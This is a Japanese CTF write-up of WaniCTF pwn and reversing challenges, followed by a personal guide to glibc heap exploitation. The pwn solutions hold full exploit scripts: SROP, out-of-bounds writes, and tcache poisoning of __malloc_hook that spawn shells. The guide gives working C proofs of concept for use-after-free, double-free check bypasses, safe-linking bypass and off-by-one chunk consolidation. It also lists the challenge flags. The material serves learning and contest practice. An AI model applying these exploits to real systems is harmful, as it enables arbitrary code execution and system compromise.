RAXに0xfを書き込めるGadgetがあるためSROPをします。
buff
のアドレスが表示されるため, /bin/sh
をbuff
に書き込んで, RDIにbuff
のアドレスをセットします。
from pwn import * # p = process('pwn06') p = remote('srop.pwn.wanictf.org', 9006) e = ELF('pwn06') context.binary = e syscall = 0x40117e mov_rax = 0x40118c p.recvuntil('buff : ') buff = int(p.recvline()[:-1], 16) print(hex(buff)) frame = SigreturnFrame() frame.rax = 0x3b frame.rdi = buff frame.rsi = 0 frame.rdx = 0 frame.rip = syscall payload = b'/bin/sh\x00' payload += b'A' * 0x40 payload += p64(mov_rax) payload += p64(syscall) payload += bytes(frame) p.sendline(payload) p.interactive()
flag: FLAG{0v3rwr173_r361573r5_45_y0u_l1k3}
07 Tower of Hanoi
以下の条件を満たせばフラグが表示されます。
int is_solved(int (*rod)[HANOI_SIZE]) { if (rod[0][HANOI_SIZE - 1] == 0 && rod[1][HANOI_SIZE - 1] == 0 && rod[2][HANOI_SIZE - 1] == HANOI_SIZE) return 1; else return 0; }
rod[1][HANOI_SIZE - 1]
は条件を満たしているため, rod[0][HANOI_SIZE - 1]
とrod[2][HANOI_SIZE - 1]
を何とかします。
if (abs(src) > 2 || abs(dst) > 2) { // ??? printf("That rod isn't where you can access!\n"); return; }
絶対値になっているため, src
とdst
を-1か-2にできます。
それによって, 以下で範囲外にアクセスできます。
if (rod[dst][pivot[dst]] != 0) pivot[dst]--; rod[dst][pivot[dst]] = rod[src][pivot[src]]; rod[src][pivot[src]] = 0;
各配列の位置関係は以下のようになっています。
0x7fffffffdc30: 0x0000000000000000 0x00007ffff7e60013 0x7fffffffdc40: 0x0000000000000069 0x00007ffff7fb86a0 0x7fffffffdc50: 0x0000555555556070 0x00007ffff7e5371a 0x7fffffffdc60: 0x00005555555557a0 0x00007fffffffde50 0x7fffffffdc70: 0x0000555555555180 0x00007fffffffdf40 0x7fffffffdc80: 0x0000000000000000 0x0000555555555676 0x7fffffffdc90: 0x0000000000000000 0x0000000000000000 0x7fffffffdca0: 0x0000000000000000 0x0000000000000000 0x7fffffffdcb0: 0x0000000200000001 0x0000000400000003 <- rod 0x7fffffffdcc0: 0x0000000600000005 0x0000000800000007 0x7fffffffdcd0: 0x0000000a00000009 0x0000000c0000000b 0x7fffffffdce0: 0x0000000e0000000d 0x000000100000000f 0x7fffffffdcf0: 0x0000001200000011 0x0000001400000013 0x7fffffffdd00: 0x0000001600000015 0x0000001800000017 0x7fffffffdd10: 0x0000001a00000019 0x0000001c0000001b 0x7fffffffdd20: 0x0000001e0000001d 0x000000200000001f 0x7fffffffdd30: 0x0000000000000000 0x0000000000000000 0x7fffffffdd40: 0x0000000000000000 0x0000000000000000 0x7fffffffdd50: 0x0000000000000000 0x0000000000000000 0x7fffffffdd60: 0x0000000000000000 0x0000000000000000 0x7fffffffdd70: 0x0000000000000000 0x0000000000000000 0x7fffffffdd80: 0x0000000000000000 0x0000000000000000 0x7fffffffdd90: 0x0000000000000000 0x0000000000000000 0x7fffffffdda0: 0x0000000000000000 0x0000000000000000 0x7fffffffddb0: 0x0000000000000000 0x0000000000000000 0x7fffffffddc0: 0x0000000000000000 0x0000000000000000 0x7fffffffddd0: 0x0000000000000000 0x0000000000000000 0x7fffffffdde0: 0x0000000000000000 0x0000000000000000 0x7fffffffddf0: 0x0000000000000000 0x0000000000000000 0x7fffffffde00: 0x0000000000000000 0x0000000000000000 0x7fffffffde10: 0x0000000000000000 0x0000000000000000 0x7fffffffde20: 0x0000000000000000 0x0000000000000000 <- rod[2][HANOI_SIZE - 1] 0x7fffffffde30: 0x0000003f0000003f 0x0000003f0000003f <- name 0x7fffffffde40: 0x0000001f00000000 0x000000000000001f <- rod_pivot
上のように, nameに0x3f(=(0x80*2-0x4)/4)を書き込んで, @C
を入力することで, rod_pivot[-1]=0x3f
, rod[-1][pivot[-1]]=rod[-1][0x3f]=0x20
となり, rod[0][HANOI_SIZE - 1]
とrod[2][HANOI_SIZE - 1]
が条件を満たします。
from pwn import * # p = process('pwn07') p = remote('hanoi.pwn.wanictf.org', 9007) payload = p32(0x3f) * 4 p.sendafter('Name : ', payload) p.sendlineafter('Move > ', '@C') p.interactive()
$ python3 solve.py [+] Opening connection to hanoi.pwn.wanictf.org on port 9007: Done [*] Switching to interactive mode Moving... Moved 32 from @ to C Top and bottom of the each rod A B C 1 0 32 ............... 0 0 32 Move > $ DD Moving... That rod isn't where you can access! How fast you are!! FLAG{5up3r_f457_h4n01_501v3r}
flag: FLAG{5up3r_f457_h4n01_501v3r}
08 Gacha Breaker
libc leak
int* gacha(int** list, int n, int k, int* count) { int* gacha_result; int prob_man; // Probability Manipulaton : increase possibility of overlapped // result srand(time(0)); printf("Doki Doki .....\n"); sleep(1); gacha_result = malloc(sizeof(int) * k); printf("Your gacha No.%d\nresults :", n); prob_man = (1 < k - 4 ? k - 4 : k); for (int i = 0; i < prob_man; i++) { gacha_result[i] = rand() % 0x10000; printf(" [%#x]", gacha_result[i]); } for (int i = prob_man; i < k; i++) { // 0 ~ 4 if (n > 1 && count[n - 2] > 3) gacha_result[i] = list[n - 2][k - i - 1]; else gacha_result[i] = rand() % 0x10000; printf(" [%#x]", gacha_result[i]); } printf("\n\n"); return gacha_result; }
k
が6以上の場合, n-2
番目のチャンクの内容をn
番目のチャンクに書き込めます。
以下の順でgachaとfreeをします。()内の数は何番目のチャンクかを示しています。
- Unsorted binに繋がるように1200でgacha (0)
- 0x30のチャンクを作るために10でgacha (1)
- free (0)がUnsorted binに, (1)がtcacheに繋がれる。
- 10でgacha (2) Unsorted binに繋がれている0番目のチャンクの内容が書き込まれる。
2番目のチャンクにmain_arena
のアドレスが書き込まれます。
以上から計算によってlibcのアドレスがわかります。
Overwrite __malloc_hook
ceilingでUse After Freeができます。
tcache poisoningで__malloc_hook
を書き換えます。(__free_hook
だと失敗した。)
以下の順でgachaとfreeとceilingをします。
- 10でgacha (3)
- free 0x30のtcacheは (2) -> (3)となる。
- ceilingで(2)に
__malloc_hook
を書き込む。0x30のtcacheは (2) ->__malloc_hook
となる。 - 10でgacha (4) (2)の領域が返る。
- 10でgacha (5)
__malloc_hook
が返る。 - ceilingで(5)にOne Gadgetを書き込む。
- 1でgacha (6) シェルが起動する。
from pwn import * # p = process('pwn08') # p = remote('localhost', 7777) # libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') p = remote('gacha.pwn.wanictf.org', 9008) libc = ELF('libc-2.31.so') one_gadget = [0xe6c7e, 0xe6c81, 0xe6c84] def gacha(count): p.sendlineafter('>', '1') p.sendlineafter('times? :', str(count)) def view(): p.sendlineafter('>', '2') p.recvuntil('Gacha\n') return p.recvline() def clear(): p.sendlineafter('>', '3') def ceiling(a, b, c): p.sendlineafter('>', '4') p.sendlineafter('>', str(a)) p.sendlineafter('>', str(b)) p.sendlineafter('>', str(c)) gacha(1200) gacha(0x28//4) clear() gacha(0x28//4) leaks = view().decode().split(' ') libc.address = int(leaks[-3][1:-1]+leaks[-2][3:-1], 16) - 0x1ebbe0 print(hex(libc.address)) # for i in range(4): # gacha(1) # gacha(0x28//4) gacha(0x28//4) clear() ceiling(2, 0, int(hex(libc.symbols['__malloc_hook'])[-8:], 16)) ceiling(2, 1, int(hex(libc.symbols['__malloc_hook'])[2:6], 16)) gacha(0x28//4) gacha(0x28//4) ceiling(5, 0, int(hex(libc.address + one_gadget[1])[-8:], 16)) ceiling(5, 1, int(hex(libc.address + one_gadget[1])[2:6], 16)) gacha(1) p.interactive()
flag: FLAG{G4ch4_15_3v1l_bu7_c4n7_5t0p}
Reversing
secret
strings
するとkeyぽい文字列が見つかりました。
$ strings ./secret Input secret key : Incorrect wani_is_the_coolest_animals_in_the_world! Correct! Flag is %s
入力したらフラグが出力されました。
$ ./secret ▄▀▀▀▀▄ ▄▀▀█▄▄▄▄ ▄▀▄▄▄▄ ▄▀▀▄▀▀▀▄ ▄▀▀█▄▄▄▄ ▄▀▀▀█▀▀▄ █ █ ▐ ▐ ▄▀ ▐ █ █ ▌ █ █ █ ▐ ▄▀ ▐ █ █ ▐ ▀▄ █▄▄▄▄▄ ▐ █ ▐ █▀▀█▀ █▄▄▄▄▄ ▐ █ ▀▄ █ █ ▌ █ ▄▀ █ █ ▌ █ █▀▀▀ ▄▀▄▄▄▄ ▄▀▄▄▄▄▀ █ █ ▄▀▄▄▄▄ ▄▀ ▐ █ ▐ █ ▐ ▐ ▐ █ ▐ █ ▐ ▐ ▐ ▐ Input secret key : wani_is_the_coolest_animals_in_the_world! Correct! Flag is FLAG{ana1yze_4nd_strin6s_and_execu7e_6in}
flag: FLAG{ana1yze_4nd_strin6s_and_execu7e_6in}
execute
main.sを読むとスタックに何か書き込んで出力していることがわかります。
デコードするとフラグがわかります。
l = [7941081424088616006, 7311705455698409823, 3560223458505028963, 35295634984951667] flag = "" for i in l: s = reversed(bytes.fromhex(hex(i)[2:]).decode()) for c in s: flag += c print(flag)
flag: FLAG{c4n_y0u_execu4e_th1s_fi1e}
timer
timerが終わらないのでGDBでスキップします。
gdb-peda$ disas main Dump of assembler code for function main: 0x00000000000014ef <+0>: endbr64 0x00000000000014f3 <+4>: push rbp 0x00000000000014f4 <+5>: mov rbp,rsp 0x00000000000014f7 <+8>: call 0x141a <show_description> 0x00000000000014fc <+13>: call 0x149d <timer> 0x0000000000001501 <+18>: call 0x1170 <super_complex_flag_print_function> 0x0000000000001506 <+23>: mov eax,0x0 0x000000000000150b <+28>: pop rbp 0x000000000000150c <+29>: ret End of assembler dump. gdb-peda$ b *main+13 gdb-peda$ r gdb-peda$ jump *main+18 The time has come. Flag is "FLAG{S0rry_Hav3_you_b3en_wai7ing_lon6?_No_I_ju5t_g0t_her3}"
flag: FLAG{S0rry_Hav3_you_b3en_wai7ing_lon6?_No_I_ju5t_g0t_her3}
licence
Ghidraでデコンパイルすると, check
でライセンスファイルの内容をチェックしていることがわかります。しかし, check
は複雑で自力で解析するのは厳しいので, 問題文にもあるようにangrを使いました。ただ、脳死angrしかやったことがなかったためいろいろ参考にさせて頂きました。
参考1
参考2
import angr import claripy addr = 0x405e66 input_path = './key.dat' proj = angr.Project('./licence', load_options={"auto_load_libs": False}) state = proj.factory.entry_state(args=[proj.filename, input_path]) simgr = proj.factory.simulation_manager(state) simgr.explore(find=addr) state = simgr.found[0] print(state.posix.dump_file_by_path(input_path))
flag: FLAG{4n6r_15_4_5up3r_p0w3rfu1_5ymb0l1c_3x3cu710n_4n4ly515_700l}
【CTF】 Heap Exploit Tips
Heap問で個人的にハマったところをまとめました。
環境
glibc 2.31はWSLのUbuntuで動かしました。それ以外はDockerのUbuntuで動かしました。
glibc 2.23 (Ubuntu 16.04)
# /lib/x86_64-linux-gnu/libc.so.6 GNU C Library (Ubuntu GLIBC 2.23-0ubuntu11.2) stable release version 2.23, by Roland McGrath et al.
glibc 2.27 (Ubuntu 18.04)
# /lib/x86_64-linux-gnu/libc.so.6 GNU C Library (Ubuntu GLIBC 2.27-3ubuntu1.4) stable release version 2.27.
glibc 2.31 (Ubuntu 20.04)
$ /lib/x86_64-linux-gnu/libc.so.6 GNU C Library (Ubuntu GLIBC 2.31-0ubuntu9.1) stable release version 2.31.
glibc 2.32 (Ubuntu 21.04)
# /lib/x86_64-linux-gnu/libc.so.6 GNU C Library (Ubuntu GLIBC 2.32-0ubuntu6) stable release version 2.32.
tcache
#include<stdio.h> #include<stdlib.h> int main(){ char *a = (char *)malloc(0x18); char *b = (char *)malloc(0x18); free(a); free(b); }
malloc
してfree
するだけです。GDBで2回free
した後のメモリを見ていきます。
glibc 2.23
(gdb) i proc map (gdb) x/10gx 0x55a81ef6f000 0x55a81ef6f000: 0x0000000000000000 0x0000000000000021 0x55a81ef6f010: 0x0000000000000000 0x0000000000000000 <- a 0x55a81ef6f020: 0x0000000000000000 0x0000000000000021 0x55a81ef6f030: 0x000055a81ef6f000 0x0000000000000000 <- b 0x55a81ef6f040: 0x0000000000000000 0x0000000000020fc1
glibc 2.25以前だと0x80バイト以下の領域を解放するとfastbinという単方向リストに格納されます。2つのチャンクの下にはtopという大きなチャンクがあります。
glibc 2.27
(gdb) i proc map (gdb) x/12gx 0x55f33d01a000 0x55f33d01a000: 0x0000000000000000 0x0000000000000251 0x55f33d01a010: 0x0000000000000002 0x0000000000000000 0x55f33d01a020: 0x0000000000000000 0x0000000000000000 0x55f33d01a030: 0x0000000000000000 0x0000000000000000 0x55f33d01a040: 0x0000000000000000 0x0000000000000000 0x55f33d01a050: 0x000055f33d01a280 0x0000000000000000 (gdb) x/10gx 0x55f33d01a000+0x250 0x55f33d01a250: 0x0000000000000000 0x0000000000000021 0x55f33d01a260: 0x0000000000000000 0x000055f33d01a010 <- a 0x55f33d01a270: 0x0000000000000000 0x0000000000000021 0x55f33d01a280: 0x000055f33d01a260 0x000055f33d01a010 <- b 0x55f33d01a290: 0x0000000000000000 0x0000000000020d71
glibc 2.26以降では0x410バイト以下の領域を解放するとtcacheにという単方向リストに格納されます。tcacheでは、サイズごとのチャンクの個数とリストの末尾を格納する管理領域が確保されます。上の例では0x55f33d01a010からの領域です。bkの位置には何か値が書き込まれています。(後述)
glibc 2.31
gdb-peda$ vmmap gdb-peda$ x/20gx 0x555555559000 0x555555559000: 0x0000000000000000 0x0000000000000291 0x555555559010: 0x0000000000000002 0x0000000000000000 0x555555559020: 0x0000000000000000 0x0000000000000000 0x555555559030: 0x0000000000000000 0x0000000000000000 0x555555559040: 0x0000000000000000 0x0000000000000000 0x555555559050: 0x0000000000000000 0x0000000000000000 0x555555559060: 0x0000000000000000 0x0000000000000000 0x555555559070: 0x0000000000000000 0x0000000000000000 0x555555559080: 0x0000000000000000 0x0000000000000000 0x555555559090: 0x00005555555592c0 0x0000000000000000 gdb-peda$ x/10gx 0x555555559000+0x290 0x555555559290: 0x0000000000000000 0x0000000000000021 0x5555555592a0: 0x0000000000000000 0x0000555555559010 <- a 0x5555555592b0: 0x0000000000000000 0x0000000000000021 0x5555555592c0: 0x00005555555592a0 0x0000555555559010 <- b 0x5555555592d0: 0x0000000000000000 0x0000000000020d31
glibc 2.30以降では、管理領域が若干大きくなっています。glibc 2.29以降では、bkの位置にkeyとしてtcacheの管理領域のアドレスが書き込まれます。上のglibc 2.27の例でもなぜか書き込まれています。
glibc 2.32
(gdb) x/10gx 0x55a3299f2000+0x290 0x55a3299f2290: 0x0000000000000000 0x0000000000000021 0x55a3299f22a0: 0x000000055a3299f2 0x000055a3299f2010 <- a 0x55a3299f22b0: 0x0000000000000000 0x0000000000000021 0x55a3299f22c0: 0x000055a673adbb52 0x000055a3299f2010 <- b 0x55a3299f22d0: 0x0000000000000000 0x0000000000020d31
glibc 2.32以降では、fd(next)に以下のマクロが適用されます。
#define PROTECT_PTR(pos, ptr) \ ((__typeof (ptr)) ((((size_t) pos) >> 12) ^ ((size_t) ptr))) #define REVEAL_PTR(ptr) PROTECT_PTR (&ptr, ptr)
例えば、b
のfdの値は
(0x55a3299f22c0>>12)^0x55a3299f22a0 = 0x55a673adbb52
となります。
Use After Free
#include<stdio.h> #include<stdlib.h> int main(){ int k; printf("k: %p\n", &k); char *a = (char *)malloc(0x18); char *b = (char *)malloc(0x18); printf("a: %p\n", a); printf("b: %p\n", b); free(a); // Use After Free *(unsigned long *)a = (unsigned long)&k; char *c = (char *)malloc(0x18); char *d = (char *)malloc(0x18); printf("c: %p\n", c); printf("d: %p\n", d); }
free
した領域にk
のアドレスを書き込むことでtcacheのリストを改竄しています。
glibc 2.27
# ./uaf k: 0x7ffe5f5b0fc4 a: 0x56181b62f670 b: 0x56181b62f690 c: 0x56181b62f670 d: 0x7ffe5f5b0fc4
fdを書き換えることでk
の領域を確保しています。
glibc 2.31
$ ./uaf k: 0x7ffc0d8fb1c4 a: 0x557cc0c776b0 b: 0x557cc0c776d0 c: 0x557cc0c776b0 d: 0x557cc0c776f0
k
の領域が確保できてません。glibc 2.29以前では、tcacheの末尾がNULLの場合、tcacheは空だと認識されます。上のglibc 2.27の例では、fdの部分にアドレスを書き込んだため空とは認識されず、同じサイズをmalloc
したときにそのサイズのtcacheから領域が確保されます。glibc 2.30以降では、tcacheのカウンタが0の場合、空だと認識されます。tcacheのカウンタはmalloc
したときに減って、free
したときに増えます。上の例では、c
のmalloc
のときにカウンタが0になるため、d
のmalloc
のときには別のところから領域が確保されます。
Double Free (tcache)
2回同じ領域を解放することでいろいろ悪いことができます。
#include<stdio.h> #include<stdlib.h> int main(){ int k; printf("k: %p\n", &k); char *a = (char *)malloc(0x18); char *b = (char *)malloc(0x18); printf("a: %p\n", a); printf("b: %p\n", b); free(a); free(b); // *(unsigned long *)(b+0x8) = 0xdeadbeef; // keyの書き換え // Double Free free(b); char *c = (char *)malloc(0x18); printf("c: %p\n", c); *(unsigned long *)c = (unsigned long)&k; // *(unsigned long *)c = ((unsigned long)c>>12) ^ ((unsigned long)&k+0x34); // 2.32以降 char *d = (char *)malloc(0x18); char *e = (char *)malloc(0x18); printf("d: %p\n", d); printf("e: %p\n", e); }
2回同じ領域をfree
した後にmalloc
することでtcache内のチャンクを確保しています。確保した領域にk
のアドレスを書き込むことでtcacheのリストを改竄しています。
glibc 2.27
# ./doublefree k: 0x7fff642c50bc a: 0x556f5a3c9670 b: 0x556f5a3c9690 free(): double free detected in tcache 2 Aborted
うまくいくと思ってたのですが、Double Freeが検知されてしまいました。glibc 2.29以前では、tcacheのDouble Freeのチェックがありませんでしたが、最新のUbuntu 18.04のglibc 2.27ではチェックがあるようです。
keyを書き換えることでこのチェックをバイパスできます。下のコードを有効にしてkeyを書き換えてみます。
*(unsigned long *)(b+0x8) = 0xdeadbeef; // keyの書き換え
# ./doublefree k: 0x7ffc294145ec a: 0x561988412670 b: 0x561988412690 c: 0x561988412690 d: 0x561988412690 e: 0x7ffc294145ec
Double Freeが検知されず、k
の領域を確保できました。
glibc 2.31
$ ./doublefree k: 0x7ffd85ebcd8c a: 0x5641e2f1c6b0 b: 0x5641e2f1c6d0 c: 0x5641e2f1c6d0 d: 0x5641e2f1c6d0 e: 0x7ffd85ebcd8c
上と同様にkeyを書き換えてチェックをバイパスしています。
glibc 2.32
glibc 2.32以降では、fdの値にマクロが適用されます。また、tcacheかfastbinからチャンクを確保するときにalignのチェックがあります。下のコードを有効にしてfdを書き換えます。
*(unsigned long *)c = ((unsigned long)c>>12) ^ ((unsigned long)&k+0x34); // 2.32以降
# ./doublefree k: 0x7fff0aab533c a: 0x55cfb76bc6b0 b: 0x55cfb76bc6d0 c: 0x55cfb76bc6d0 d: 0x55cfb76bc6d0 e: 0x7fff0aab5370 Segmentation fault
k
のアドレスはalignされていないので、rbpのアドレスを使いました。最後に落ちていますが深追いしないことにします。
Double Free (fastbin)
上のtcacheのDouble Freeの例ではUAFを使ってkeyを書き換えました。UAFができないときを想定して、fastbinのDouble Freeをやってみます。
#include<stdio.h> #include<stdlib.h> int main(){ char *p[10] = {}; for(int i=0; i<7; i++) p[i] = (char *)malloc(0x18); int k; printf("k: %p\n", &k); char *a = (char *)malloc(0x18); char *b = (char *)malloc(0x18); printf("a: %p\n", a); printf("b: %p\n", b); for(int i=0; i<7; i++) free(p[i]); // tcacheを埋める free(a); free(b); free(a); // Double Free for(int i=0; i<7; i++) p[i] = (char *)malloc(0x18); // tcacheから確保 char *c = (char *)malloc(0x18); // fastbinから確保 printf("c: %p\n", c); *(unsigned long *)c = (unsigned long)&k; char *d = (char *)malloc(0x18); char *e = (char *)malloc(0x18); char *f = (char *)malloc(0x18); printf("d: %p\n", d); printf("e: %p\n", e); printf("f: %p\n", f); }
fastbinを使うため、tcacheを埋めます。fastbinにチャンクを格納するときfastbinの末尾のチャンクと異なるかをチェックします。上の例では、直前に別の領域を解放することでこのチェックをバイパスしています。
glibc 2.23
# ./doublefree k: 0x7fff4816575c a: 0x55d3f6116420 b: 0x55d3f6116440 *** Error in `./doublefree': double free or corruption (fasttop): 0x000055d3f6116440 ***
glibc 2.23には、tcacheがないのでtcacheの処理は必要ないです。うまくいくと思ってたのですが、Double Freeが検知されてしまいました。fastbinに格納するチャンクがあるとDouble Freeが検知されるみたいです。
glibc 2.31
$ ./doublefree k: 0x7fffe586b3b0 a: 0x55bdf61d4790 b: 0x55bdf61d47b0 c: 0x55bdf61d4790 d: 0x55bdf61d47b0 e: 0x55bdf61d4790 f: 0x7fffe586b3b0
Double Freeは検知されず、k
の領域を確保できました。
統合
チャンクが格納されるとき前後の未使用のチャンクが統合されます。
#include<stdio.h> #include<stdlib.h> int main(){ char *a = (char *)malloc(0x418); char *b = (char *)malloc(0x418); char *c = (char *)malloc(0x418); free(b); free(a); free(c); }
glibc 2.31
1回目のfree
の後を見てみます。
gdb-peda$ vmmap gdb-peda$ x/4gx 0x0000555555559000+0x290 0x555555559290: 0x0000000000000000 0x0000000000000421 0x5555555592a0: 0x0000000000000000 0x0000000000000000 <- a gdb-peda$ x/4gx 0x0000555555559000+0x290+0x420 0x5555555596b0: 0x0000000000000000 0x0000000000000421 0x5555555596c0: 0x00007ffff7fb7be0 0x00007ffff7fb7be0 <- b gdb-peda$ x/4gx 0x0000555555559000+0x290+0x420+0x420 0x555555559ad0: 0x0000000000000420 0x0000000000000420 0x555555559ae0: 0x0000000000000000 0x0000000000000000 <- c gdb-peda$ x/4gx 0x0000555555559000+0x290+0x420+0x420+0x420 0x555555559ef0: 0x0000000000000000 0x0000000000020111 0x555555559f00: 0x0000000000000000 0x0000000000000000 gdb-peda$ x/gx 0x00007ffff7fb7be0 0x7ffff7fb7be0 <main_arena+96>: 0x0000555555559ef0
b
はunsorted binに格納されていて、fdとbkはmain_arena+0x60を指しています。c
のprev_sizeにb
のサイズが書き込まれ、PREV_INUSEが0になっていることが確認できます。
2回目のfree
の後を見てみます。
gdb-peda$ x/4gx 0x0000555555559000+0x290 0x555555559290: 0x0000000000000000 0x0000000000000841 0x5555555592a0: 0x00007ffff7fb7be0 0x00007ffff7fb7be0 <- a gdb-peda$ x/4gx 0x0000555555559000+0x290+0x420 0x5555555596b0: 0x0000000000000000 0x0000000000000421 0x5555555596c0: 0x00007ffff7fb7be0 0x00007ffff7fb7be0 <- b gdb-peda$ x/4gx 0x0000555555559000+0x290+0x420+0x420 0x555555559ad0: 0x0000000000000840 0x0000000000000420 0x555555559ae0: 0x0000000000000000 0x0000000000000000 <- c gdb-peda$ x/4gx 0x0000555555559000+0x290+0x420+0x420+0x420 0x555555559ef0: 0x0000000000000000 0x0000000000020111 0x555555559f00: 0x0000000000000000 0x0000000000000000
a
とb
が統合され、0x840のチャンクがunsorted binに格納されています。それに伴いc
のprev_sizeが書き換えられていることが確認できます。
3回目のfree
の後を見てみます。
gdb-peda$ x/4gx 0x0000555555559000+0x290 0x555555559290: 0x0000000000000000 0x0000000000020d71 0x5555555592a0: 0x00007ffff7fb7be0 0x00007ffff7fb7be0
c
とc
の上にある0x840のチャンクがtopに統合されます。
切り出し
#include<stdio.h> #include<stdlib.h> int main(){ char *a = (char *)malloc(0x418); char *b = (char *)malloc(0x18); // topと統合しないように free(a); char *c = (char *)malloc(0x18); }
glibc 2.31
free
した後を見てみます。
gdb-peda$ vmmap gdb-peda$ x/4gx 0x0000555555559000+0x290 0x555555559290: 0x0000000000000000 0x0000000000000421 0x5555555592a0: 0x00007ffff7fb7be0 0x00007ffff7fb7be0 <- a gdb-peda$ x/6gx 0x0000555555559000+0x290+0x420 0x5555555596b0: 0x0000000000000420 0x0000000000000020 0x5555555596c0: 0x0000000000000000 0x0000000000000000 <- b 0x5555555596d0: 0x0000000000000000 0x0000000000020931
a
はunsorted binに格納されています。
malloc
した後を見てみます。
gdb-peda$ x/8gx 0x0000555555559000+0x290 0x555555559290: 0x0000000000000000 0x0000000000000021 0x5555555592a0: 0x00007ffff7fb7fd0 0x00007ffff7fb7fd0 <- c 0x5555555592b0: 0x0000555555559290 0x0000000000000401 0x5555555592c0: 0x00007ffff7fb7be0 0x00007ffff7fb7be0 gdb-peda$ x/6gx 0x0000555555559000+0x290+0x420 0x5555555596b0: 0x0000000000000400 0x0000000000000020 0x5555555596c0: 0x0000000000000000 0x0000000000000000 <- b 0x5555555596d0: 0x0000000000000000 0x0000000000020931
a
から切り出されています。残りのチャンクはunsorted binに格納されています。
偽装チャンク
偽装チャンクをつくってunsorted binに格納し、main_arenaのアドレスをリークします。
#include<stdio.h> #include<stdlib.h> int main(){ char *a[10] = {}; for(int i=0; i<10; i++) a[i] = (char *)malloc(0x78); *(unsigned long *)(a[0]+0x8) = 0x471; free(a[0]+0x10); printf("main_arena: %p\n", *(void **)(a[0]+0x10)-0x60); }
glibc 2.31
$ ./fakechunk main_arena: 0x7ffff7fb7b80
free
した後のメモリを見てみます。
gdb-peda$ x/6gx 0x0000555555559000+0x290 0x555555559290: 0x0000000000000000 0x0000000000000081 0x5555555592a0: 0x0000000000000000 0x0000000000000471 <- a[0] 0x5555555592b0: 0x00007ffff7fb7be0 0x00007ffff7fb7be0 gdb-peda$ x/4gx 0x0000555555559000+0x290+0x80*9 0x555555559710: 0x0000000000000470 0x0000000000000080 0x555555559720: 0x0000000000000000 0x0000000000000000 <- a[9]
9個の0x80のチャンクを使って0x470(=0x80*9-0x10)のチャンクをつくっています。a[0]+0x10
を解放することでunsorted binに格納しています。10個目はtopとの統合を防ぐために使っています。
Off By One
1バイトだけ書き換えてmain_arenaのアドレスをリークします。
#include<stdio.h> #include<stdlib.h> int main(){ char *p[20] = {}; for(int i=0; i<7; i++) p[i] = (char *)malloc(0x88); for(int i=0; i<7; i++) p[i+7] = (char *)malloc(0xf8); char *a = (char *)malloc(0x88); char *b = (char *)malloc(0x18); char *c = (char *)malloc(0xf8); p[14] = (char *)malloc(0x18); for(int i=0; i<14; i++) free(p[i]); // tcacheを埋める free(a); // unsorted binに格納される *(unsigned long *)(b+0x10) = 0xb0; // cのprev_size *(char *)(b+0x18) = 0; // cのsizeの下位1バイト free(c); for(int i=0; i<7; i++) p[i] = (char *)malloc(0x88); // tcacheから確保 p[8] = (char *)malloc(0x88); printf("main_arena: %p\n", *(void **)b-0x60); }
glibc 2.27
# ./offbyone main_arena: 0x7fea60f3dc40
free(c)
前のメモリを見てみます。
(gdb) x/4gx 0x55c8083ea000+0x250+0x90*7+0x100*7 0x55c8083ead40: 0x0000000000000000 0x0000000000000091 0x55c8083ead50: 0x00007fea60f3dca0 0x00007fea60f3dca0 <- a (gdb) x/8gx 0x55c8083ea000+0x250+0x90*7+0x100*7+0x90 0x55c8083eadd0: 0x0000000000000090 0x0000000000000020 0x55c8083eade0: 0x0000000000000000 0x0000000000000000 <- b 0x55c8083eadf0: 0x00000000000000b0 0x0000000000000100 0x55c8083eae00: 0x0000000000000000 0x0000000000000000 <- c
a
はunsorted binに格納されています。c
のprev_sizeとPREV_INUSEが書き換えられていることが確認できます。
free(c)
後のメモリを見てみます。
(gdb) x/4gx 0x55c8083ea000+0x250+0x90*7+0x100*7 0x55c8083ead40: 0x0000000000000000 0x00000000000001b1 0x55c8083ead50: 0x00007fea60f3dca0 0x00007fea60f3dca0 <- a
PREV_INUSEが0であるため、直前のチャンクと統合されます。c
のprev_sizeは0xb0であるためa
(0x90)とb
(0x20)を合わせた領域が1つのチャンクとみなされてc
と統合されます。
p[8] = (char *)malloc(0x88);
後のメモリを見てみます。
(gdb) x/4gx 0x55c8083ea000+0x250+0x90*7+0x100*7 0x55c8083ead40: 0x0000000000000000 0x0000000000000091 0x55c8083ead50: 0x00007fea60f3de40 0x00007fea60f3de40 <- a, p[8] (gdb) x/4gx 0x55c8083ea000+0x250+0x90*7+0x100*7+0x90 0x55c8083eadd0: 0x0000000000000090 0x0000000000000121 0x55c8083eade0: 0x00007fea60f3dca0 0x00007fea60f3dca0 <- b (gdb) x/gx 0x00007fea60f3dca0 0x7fea60f3dca0 <main_arena+96>: 0x000055c8083eaf10
0x1b0のチャンクから切り出されています。残りのチャンクはunsorted binに格納されています。また、残りのチャンクはb
として使えます。
glibc 2.31
$ ./offbyone corrupted size vs. prev_size while consolidating 中止
glibc 2.29以降では、a
のsizeとc
のprev_sizeのチェックがあるのでabortします。
参考
Malleus CTF Pwn
【pwn 32.0】glibc2.32 Safe-Linking とその Bypass の概観 - newbieからバイナリアンへ
https://elixir.bootlin.com/glibc/glibc-2.32/source/malloc/malloc.c